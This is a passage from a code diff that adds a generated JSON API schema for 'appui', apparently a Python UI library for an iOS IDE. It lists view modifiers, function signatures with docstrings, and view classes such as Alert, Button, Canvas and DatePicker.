"domain": "appearance", + "name": "saturation" + }, + "scale_effect": { + "domain": "animation", + "name": "scale_effect" + }, + "scroll_clip_disabled": { + "domain": "list_and_scroll", + "name": "scroll_clip_disabled" + }, + "scroll_content_background": { + "domain": "list_and_scroll", + "name": "scroll_content_background" + }, + "scroll_edge_effect_hidden": { + "domain": "list_and_scroll", + "name": "scroll_edge_effect_hidden" + }, + "scroll_edge_effect_style": { + "domain": "list_and_scroll", + "name": "scroll_edge_effect_style" + }, + "scroll_position": { + "domain": "list_and_scroll", + "name": "scroll_position" + }, + "scroll_target_behavior": { + "domain": "list_and_scroll", + "name": "scroll_target_behavior" + }, + "scroll_target_layout": { + "domain": "list_and_scroll", + "name": "scroll_target_layout" + }, + "scroll_transition": { + "domain": "list_and_scroll", + "name": "scroll_transition" + }, + "search_toolbar_behavior": { + "domain": "list_and_scroll", + "name": "search_toolbar_behavior" + }, + "searchable": { + "domain": "list_and_scroll", + "name": "searchable" + }, + "sensory_feedback": { + "domain": "animation", + "name": "sensory_feedback" + }, + "shadow": { + "domain": "appearance", + "name": "shadow" + }, + "sheet": { + "domain": "presentation", + "name": "sheet" + }, + "simultaneous_gesture": { + "domain": "interaction", + "name": "simultaneous_gesture" + }, + "strikethrough": { + "domain": "text", + "name": "strikethrough" + }, + "stroke": { + "domain": "appearance", + "name": "stroke" + }, + "submit_label": { + "domain": "interaction", + "name": "submit_label" + }, + "swipe_actions": { + "domain": "list_and_scroll", + "name": "swipe_actions" + }, + "symbol_effect": { + "domain": "animation", + "name": "symbol_effect" + }, + "symbol_rendering_mode": { + "domain": "style", + "name": "symbol_rendering_mode" + }, + "tab_bar_minimize_behavior": { + "domain": "navigation", + "name": "tab_bar_minimize_behavior" + }, + "tab_view_bottom_accessory": { + "domain": "navigation", + "name": "tab_view_bottom_accessory" + }, + "tab_view_search_activation": { + "domain": "navigation", + "name": "tab_view_search_activation" + }, + "tab_view_style": { + "domain": "style", + "name": "tab_view_style" + }, + "task": { + "domain": "interaction", + "name": "task" + }, + "text_field_style": { + "domain": "style", + "name": "text_field_style" + }, + "tint": { + "domain": "appearance", + "name": "tint" + }, + "toggle_style": { + "domain": "style", + "name": "toggle_style" + }, + "toolbar": { + "domain": "navigation", + "name": "toolbar" + }, + "toolbar_background": { + "domain": "navigation", + "name": "toolbar_background" + }, + "toolbar_color_scheme": { + "domain": "navigation", + "name": "toolbar_color_scheme" + }, + "transition": { + "domain": "animation", + "name": "transition" + }, + "truncation_mode": { + "domain": "text", + "name": "truncation_mode" + }, + "underline": { + "domain": "text", + "name": "underline" + }, + "z_index": { + "domain": "layout", + "name": "z_index" + } + }, + "modifiers": { + "offset": { + "affects_layout": true, + "aurora_slots": [ + { + "attr": null, + "name": "x", + "prop_id": 2049, + "python_descriptor": true, + "value_type": "double" + }, + { + "attr": null, + "name": "y", + "prop_id": 2050, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "layout", + "modifier_id": 2049, + "name": "offset" + }, + "opacity": { + "affects_layout": false, + "aurora_slots": [ + { + "attr": null, + "name": "value", + "prop_id": 2048, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "appearance", + "modifier_id": 2048, + "name": "opacity" + }, + "rotation_effect": { + "affects_layout": false, + "aurora_slots": [ + { + "attr": null, + "name": "angle", + "prop_id": 2052, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "transform", + "modifier_id": 2052, + "name": "rotation_effect" + }, + "scale_effect": { + "affects_layout": false, + "aurora_slots": [ + { + "attr": null, + "name": "scale", + "prop_id": 2051, + "python_descriptor": true, + "value_type": "double" + } + ], + "domain": "transform", + "modifier_id": 2051, + "name": "scale_effect" + } + }, + "module": "appui", + "module_functions": { + "adaptive": { + "line": 2064, + "return_type": "Dict[str, Any]", + "signature": "def adaptive(minimum: float = 50, maximum: Optional[float] = None) -> Dict[str, Any]: \"\"\"Adaptive grid column that fits as many items as possible above ``minimum``.\"\"\" ..." + }, + "animate": { + "line": 1997, + "return_type": "None", + "signature": "def animate(action: Callable[[], None], type: str = 'default') -> None: \"\"\"Wrap state changes in an animation. Example:: def show_view(): state.batch_update(show=True) appui.animate(show_view, type=\"spring\") Types: ``'default'``, ``'linear'``, ``'easeIn'``, ``'easeOut'``, ``'easeInOut'``, ``'spring'``. \"\"\" ..." + }, + "auto_refresh": { + "line": 2011, + "return_type": "None", + "signature": "def auto_refresh(interval: float = 1.0) -> None: \"\"\"Force periodic UI rebuilds for live-updating content (clocks, dashboards).\"\"\" ..." + }, + "bind": { + "line": 249, + "return_type": "Dict[str, Any]", + "signature": "def bind(state: Union[State, ReactiveState], field_name: str) -> Dict[str, Any]: \"\"\"Create a two-way binding dict for interactive components. Returns ``{'value': ..., 'on_change': ...}`` suitable for unpacking:: appui.Slider(**appui.bind(state, 'volume')) \"\"\" ..." + }, + "call_native": { + "line": 2025, + "return_type": "None", + "signature": "def call_native(function_name: str, **kwargs: Any) -> None: \"\"\"Invoke a native iOS function via the Aurora command buffer. Example:: appui.call_native(\"haptic\", style=\"impact\") \"\"\" ..." + }, + "computed": { + "line": 222, + "return_type": "Callable", + "signature": "def computed(state: Union[State, ReactiveState], depends_on: List[str]) -> Callable: \"\"\"Decorator: cached derived value, recomputed only when deps change. Example:: @appui.computed(state, depends_on=['items', 'filter_text']) def filtered(): return [i for i in state.items if state.filter_text in str(i)] # In body(): filtered() -> returns cached list \"\"\" ..." + }, + "custom_font": { + "line": 2068, + "return_type": "str", + "signature": "def custom_font(name: str, size: float = 17) -> str: \"\"\"Reference a custom font by PostScript name. Example:: appui.Text(\"Hello\").font(appui.custom_font(\"Avenir-Heavy\", 24)) \"\"\" ..." + }, + "dismiss": { + "line": 1993, + "return_type": "None", + "signature": "def dismiss() -> None: \"\"\"Dismiss the current appui presentation.\"\"\" ..." + }, + "dynamic": { + "line": 258, + "return_type": "Any", + "signature": "def dynamic(func: Callable[[], Any], value_type: str = 'auto') -> Any: \"\"\"Create a dependency-tracked dynamic AppUI slot value. Use for values that should be eligible for Aurora/C slot updates without rebuilding the full tree, for example ``Text(lambda: state.status)`` or ``.opacity(appui.dynamic(lambda: state.opacity, 'double'))``. \"\"\" ..." + }, + "effect": { + "line": 235, + "return_type": "Callable", + "signature": "def effect(state: Union[State, ReactiveState], depends_on: List[str]) -> Callable: \"\"\"Decorator: run a side-effect when deps change (after each rebuild). The decorated function may return a cleanup callable:: @appui.effect(state, depends_on=['tab']) def on_tab_change(): print(f'Switched to tab {state.tab}') def cleanup(): print('cleanup') return cleanup \"\"\" ..." + }, + "fixed": { + "line": 2060, + "return_type": "Dict[str, Any]", + "signature": "def fixed(size: float) -> Dict[str, Any]: \"\"\"Fixed-width grid column.\"\"\" ..." + }, + "flexible": { + "line": 2051, + "return_type": "Dict[str, Any]", + "signature": "def flexible(minimum: float = 10, maximum: Optional[float] = None) -> Dict[str, Any]: \"\"\"Flexible grid column that grows to fill space. Example:: appui.LazyVGrid(columns=[appui.flexible(), appui.flexible()]) \"\"\" ..." + }, + "get_native_lib": { + "line": 2034, + "return_type": "Optional[ctypes.CDLL]", + "signature": "def get_native_lib() -> Optional[ctypes.CDLL]: \"\"\"Return the ctypes handle to the Aurora native library, or ``None``. Useful for advanced users who need direct access to the C bridge. \"\"\" ..." + }, + "grid_item": { + "line": 2046, + "return_type": "Dict[str, Any]", + "signature": "def grid_item(type: str = 'flexible', minimum: Optional[float] = None, maximum: Optional[float] = None, count: Optional[int] = None) -> Dict[str, Any]: \"\"\"Create a grid column/row specification.\"\"\" ..." + }, + "preload": { + "line": 2015, + "return_type": "None", + "signature": "def preload() -> None: \"\"\"Pre-initialize the native bridge to reduce first-run latency.\"\"\" ..." + }, + "run": { + "line": 1978, + "return_type": "None", + "signature": "def run(body_func: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None, state: Optional[Union[State, ReactiveState]] = None, hot_reload: bool = False, presentation: str = 'sheet', body: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None) -> None: \"\"\"Start the UI event loop. Args: body_func: A function that returns the root ``View`` tree. It may be declared as ``body()`` or ``body(state)``. state: Optional ``State`` or ``ReactiveState`` for automatic rebuild on change. hot_reload: Watch the source file and auto-reload on save. presentation: ``'sheet'``, ``'fullscreen'``, ``'fullscreen_with_close'``. \"\"\" ..." + }, + "set_custom_prop": { + "line": 2019, + "return_type": "None", + "signature": "def set_custom_prop(view_or_handle: Any, prop_name: str, value: Any) -> None: \"\"\"Push an arbitrary property via Aurora binary UPDATE_PROPS. Falls back to full JSON rebuild if Aurora is inactive.\"\"\" ..." + } + }, + "schema": "pythonide.appui.api.v1", + "sources": [ + "pyboot/appui_schema.py", + "pyboot/appui.pyi", + "pythonide/Integrations/AppUIRenderer/AppUISchemaRegistry.generated.swift" + ], + "status": "public", + "version": 1, + "views": { + "Alert": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "alert", + "call_signature": "Alert(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None)", + "class_signature": "class Alert(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None) -> None: ...", + "line": 1685, + "methods": { + "__init__": { + "line": 1687, + "return_type": "None", + "signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "Alert", + "semantic_domain": "presentation", + "source_file": "pyboot/appui.pyi", + "type_id": 19506033 + }, + "AsyncImage": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "async_image", + "call_signature": "AsyncImage(url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None)", + "class_signature": "class AsyncImage(View):", + "domain": "media", + "initializer_signature": "def __init__(self, url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None) -> None: ...", + "line": 1117, + "methods": { + "__init__": { + "line": 1125, + "return_type": "None", + "signature": "def __init__(self, url: str = '', placeholder: Optional[View] = None, error_view: Optional[View] = None, content_mode: str = 'fit', on_success: Optional[Callable] = None, on_failure: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "AsyncImage", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 269332422 + }, + "AttributedText": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "attributed_text", + "call_signature": "AttributedText(spans: Optional[List[Dict[str, Any]]] = None)", + "class_signature": "class AttributedText(View):", + "domain": "text", + "initializer_signature": "def __init__(self, spans: Optional[List[Dict[str, Any]]] = None) -> None: ...", + "line": 1070, + "methods": { + "__init__": { + "line": 1080, + "return_type": "None", + "signature": "def __init__(self, spans: Optional[List[Dict[str, Any]]] = None) -> None: ..." + } + }, + "public_name": "AttributedText", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 456374137 + }, + "Badge": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "badge", + "call_signature": "Badge(count: Optional[int] = None, text: Optional[str] = None)", + "class_signature": "class Badge(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, count: Optional[int] = None, text: Optional[str] = None) -> None: ...", + "line": 1672, + "methods": { + "__init__": { + "line": 1674, + "return_type": "None", + "signature": "def __init__(self, count: Optional[int] = None, text: Optional[str] = None) -> None: ..." + } + }, + "public_name": "Badge", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1747234221 + }, + "Button": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "button", + "call_signature": "Button(title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None)", + "class_signature": "class Button(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None) -> None: ...", + "line": 1135, + "methods": { + "__init__": { + "line": 1145, + "return_type": "None", + "signature": "def __init__(self, title: Optional[Union[str, View]] = None, action: Optional[Callable] = None, role: Optional[str] = None, content: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "Button", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 1911671636 + }, + "CameraPicker": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "camera_picker", + "call_signature": "CameraPicker(source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any)", + "class_signature": "class CameraPicker(View):", + "domain": "media", + "initializer_signature": "def __init__(self, source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any) -> None: ...", + "line": 1352, + "methods": { + "__init__": { + "line": 1358, + "return_type": "None", + "signature": "def __init__(self, source: str = 'camera', media_type: str = 'photo', on_captured: Optional[Callable] = None, label: Optional[View] = None, mediaType: Optional[str] = None, onCaptured: Optional[Callable] = None, **kwargs: Any) -> None: ..." + } + }, + "public_name": "CameraPicker", + "semantic_domain": "media_picker", + "source_file": "pyboot/appui.pyi", + "type_id": 816459499 + }, + "Canvas": { + "aurora_slots": [ + { + "attr": "_commands", + "name": "commands", + "prop_id": 2816, + "python_descriptor": false, + "value_type": "json" + } + ], + "auto_register": true, + "bridge_type": "canvas", + "call_signature": "Canvas(width: float = 300, height: float = 300, commands: Optional[List[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None)", + "class_signature": "class Canvas(View):", + "domain": "drawing", + "initializer_signature": "def __init__(self, width: float = 300, height: float = 300, commands: Optional[List[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None) -> None: ...", + "line": 1885, + "methods": { + "__init__": { + "line": 1887, + "return_type": "None", + "signature": "def __init__(self, width: float = 300, height: float = 300, commands: Optional[List[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None) -> None: ..." + }, + "aurora_set_commands": { + "line": 1890, + "return_type": "None", + "signature": "def aurora_set_commands(self, commands: Optional[List[Dict[str, Any]]] = None, context: Optional[DrawingContext] = None) -> None: \"\"\"Update canvas draw commands via Aurora binary fast-path.\"\"\" ..." + } + }, + "public_name": "Canvas", + "semantic_domain": "drawing", + "source_file": "pyboot/appui.pyi", + "type_id": 1852312433 + }, + "Capsule": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "capsule", + "call_signature": "Capsule()", + "class_signature": "class Capsule(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1935, + "methods": { + "__init__": { + "line": 1937, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Capsule", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1993183000 + }, + "Chart": { + "aurora_slots": [ + { + "attr": "_data", + "name": "data", + "prop_id": 2560, + "python_descriptor": false, + "value_type": "json" + } + ], + "auto_register": true, + "bridge_type": "chart", + "call_signature": "Chart(data: Optional[List[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None)", + "class_signature": "class Chart(View):", + "domain": "media", + "initializer_signature": "def __init__(self, data: Optional[List[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None) -> None: ...", + "line": 1816, + "methods": { + "__init__": { + "line": 1824, + "return_type": "None", + "signature": "def __init__(self, data: Optional[List[Dict[str, Any]]] = None, x: str = 'x', y: str = 'y', type: str = 'bar', color: Optional[ColorLike] = None, series: Optional[str] = None) -> None: ..." + }, + "aurora_set_data": { + "line": 1827, + "return_type": "None", + "signature": "def aurora_set_data(self, data: List[Dict[str, Any]]) -> None: \"\"\"Update chart data via Aurora binary fast-path (avoids full rebuild).\"\"\" ..." + } + }, + "public_name": "Chart", + "semantic_domain": "chart", + "source_file": "pyboot/appui.pyi", + "type_id": 1937952666 + }, + "Circle": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "circle", + "call_signature": "Circle()", + "class_signature": "class Circle(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1931, + "methods": { + "__init__": { + "line": 1933, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Circle", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 524288528 + }, + "CloseButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "close_button", + "call_signature": "CloseButton(title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None)", + "class_signature": "class CloseButton(View):", + "domain": "control", + "initializer_signature": "def __init__(self, title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None) -> None: ...", + "line": 1148, + "methods": { + "__init__": { + "line": 1155, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: str = 'xmark', systemImage: Optional[str] = None) -> None: ..." + } + }, + "public_name": "CloseButton", + "semantic_domain": "control", + "source_file": "pyboot/appui.pyi", + "type_id": 1407534314 + }, + "Color": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "color", + "call_signature": "Color(value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0)", + "class_signature": "class Color(View):", + "domain": "shape", + "initializer_signature": "def __init__(self, value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0) -> None: ...", + "line": 1943, + "methods": { + "__init__": { + "line": 1951, + "return_type": "None", + "signature": "def __init__(self, value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0) -> None: ..." + } + }, + "public_name": "Color", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1887612249 + }, + "ColorPicker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "color_picker", + "call_signature": "ColorPicker(label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class ColorPicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1301, + "methods": { + "__init__": { + "line": 1303, + "return_type": "None", + "signature": "def __init__(self, label: str = '', selection: Optional[str] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "ColorPicker", + "semantic_domain": "color_input", + "source_file": "pyboot/appui.pyi", + "type_id": 1122956802 + }, + "ConfirmationDialog": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "confirmation_dialog", + "call_signature": "ConfirmationDialog(title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None)", + "class_signature": "class ConfirmationDialog(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None) -> None: ...", + "line": 1691, + "methods": { + "__init__": { + "line": 1693, + "return_type": "None", + "signature": "def __init__(self, title: str = '', message: Optional[str] = None, is_presented: bool = False, actions: Optional[List[View]] = None, isPresented: Optional[bool] = None) -> None: ..." + } + }, + "public_name": "ConfirmationDialog", + "semantic_domain": "presentation", + "source_file": "pyboot/appui.pyi", + "type_id": 1872071994 + }, + "ContentUnavailableView": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "content_unavailable_view", + "call_signature": "ContentUnavailableView(title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None)", + "class_signature": "class ContentUnavailableView(View):", + "domain": "presentation", + "initializer_signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None) -> None: ...", + "line": 1640, + "methods": { + "__init__": { + "line": 1642, + "return_type": "None", + "signature": "def __init__(self, title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None) -> None: ..." + } + }, + "public_name": "ContentUnavailableView", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1188396693 + }, + "ControlGroup": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "control_group", + "call_signature": "ControlGroup(label: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None)", + "class_signature": "class ControlGroup(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None) -> None: ...", + "line": 1635, + "methods": { + "__init__": { + "line": 1637, + "return_type": "None", + "signature": "def __init__(self, label: str = '', content: Optional[List[View]] = None, children: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "ControlGroup", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 113131014 + }, + "DatePicker": { + "aurora_slots": [ + { + "attr": "_selection", + "name": "selection", + "prop_id": 4096, + "python_descriptor": true, + "value_type": "string" + } + ], + "auto_register": true, + "bridge_type": "date_picker", + "call_signature": "DatePicker(label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)", + "class_signature": "class DatePicker(View):", + "domain": "control", + "initializer_signature": "def __init__(self, label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ...", + "line": 1287, + "methods": { + "__init__": { + "line": 1292, + "return_type": "None", + "signature": "def __init__(self, label: str = '', selection: Optional[str] = None, components: str = 'date', on_change: Optional[Callable] = None, onChange: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "DatePicker", + "semantic_domain": "date_input", + "source_file": "pyboot/appui.pyi", + "type_id": 733004853 + }, + "DisclosureGroup": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "disclosure_group", + "call_signature": "DisclosureGroup(label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None)", + "class_signature": "class DisclosureGroup(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None) -> None: ...", + "line": 1616, + "methods": { + "__init__": { + "line": 1618, + "return_type": "None", + "signature": "def __init__(self, label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None) -> None: ..." + } + }, + "public_name": "DisclosureGroup", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 369879553 + }, + "Divider": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "divider", + "call_signature": "Divider()", + "class_signature": "class Divider(View):", + "domain": "layout", + "initializer_signature": null, + "line": 1450, + "methods": {}, + "public_name": "Divider", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 539526761 + }, + "EditButton": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "edit_button", + "call_signature": "EditButton()", + "class_signature": "class EditButton(View):", + "domain": "control", + "initializer_signature": null, + "line": 1329, + "methods": {}, + "public_name": "EditButton", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1054712479 + }, + "Ellipse": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "ellipse", + "call_signature": "Ellipse()", + "class_signature": "class Ellipse(_Shape):", + "domain": "shape", + "initializer_signature": "def __init__(self) -> None: ...", + "line": 1939, + "methods": { + "__init__": { + "line": 1941, + "return_type": "None", + "signature": "def __init__(self) -> None: ..." + } + }, + "public_name": "Ellipse", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 2024188145 + }, + "FileImporter": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "file_importer", + "call_signature": "FileImporter(allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any)", + "class_signature": "class FileImporter(View):", + "domain": "media", + "initializer_signature": "def __init__(self, allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ...", + "line": 1365, + "methods": { + "__init__": { + "line": 1373, + "return_type": "None", + "signature": "def __init__(self, allowed_types: Optional[Union[str, Sequence[str]]] = None, allows_multiple: bool = False, copy: bool = True, on_picked: Optional[Callable] = None, label: Optional[View] = None, allowedTypes: Optional[Union[str, Sequence[str]]] = None, allowsMultiple: Optional[bool] = None, onPicked: Optional[Callable] = None, **kwargs: Any) -> None: ..." + } + }, + "public_name": "FileImporter", + "semantic_domain": "file_importer", + "source_file": "pyboot/appui.pyi", + "type_id": 88072171 + }, + "ForEach": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "for_each", + "call_signature": "ForEach(data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None)", + "class_signature": "class ForEach(View):", + "domain": "collection", + "initializer_signature": "def __init__(self, data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None) -> None: ...", + "line": 1580, + "methods": { + "__init__": { + "line": 1593, + "return_type": "None", + "signature": "def __init__(self, data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "ForEach", + "semantic_domain": "list", + "source_file": "pyboot/appui.pyi", + "type_id": 1565271619 + }, + "Form": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "form", + "call_signature": "Form(content: Optional[List[View]] = None)", + "class_signature": "class Form(_ContainerView):", + "domain": "collection", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ...", + "line": 1598, + "methods": { + "__init__": { + "line": 1600, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None) -> None: ..." + } + }, + "public_name": "Form", + "semantic_domain": "form", + "source_file": "pyboot/appui.pyi", + "type_id": 264618757 + }, + "Gauge": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "gauge", + "call_signature": "Gauge(value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None)", + "class_signature": "class Gauge(View):", + "domain": "feedback", + "initializer_signature": "def __init__(self, value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ...", + "line": 1661, + "methods": { + "__init__": { + "line": 1663, + "return_type": "None", + "signature": "def __init__(self, value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None) -> None: ..." + } + }, + "public_name": "Gauge", + "semantic_domain": "generic", + "source_file": "pyboot/appui.pyi", + "type_id": 1025567642 + }, + "GeometryReader": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "geometry_reader", + "call_signature": "GeometryReader(content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None)", + "class_signature": "class GeometryReader(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None) -> None: ...", + "line": 1482, + "methods": { + "__init__": { + "line": 1486, + "return_type": "None", + "signature": "def __init__(self, content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None) -> None: ..." + } + }, + "public_name": "GeometryReader", + "semantic_domain": "geometry", + "source_file": "pyboot/appui.pyi", + "type_id": 1929343259 + }, + "Grid": { + "aurora_slots": [], + "auto_register": false, + "bridge_type": "grid", + "call_signature": "Grid(content: Optional[List[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None)", + "class_signature": "class Grid(View):", + "domain": "layout", + "initializer_signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None) -> None: ...", + "line": 1469, + "methods": { + "__init__": { + "line": 1471, + "return_type": "None", + "signature": "def __init__(self, content: Optional[List[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None) -> None: ..." + } + }, + "public_name": "Grid", + "semantic_domain": "grid", + "source_file": "pyboot/appui.pyi", + "type_id": 1936582525 + }, + "GridRow": { + 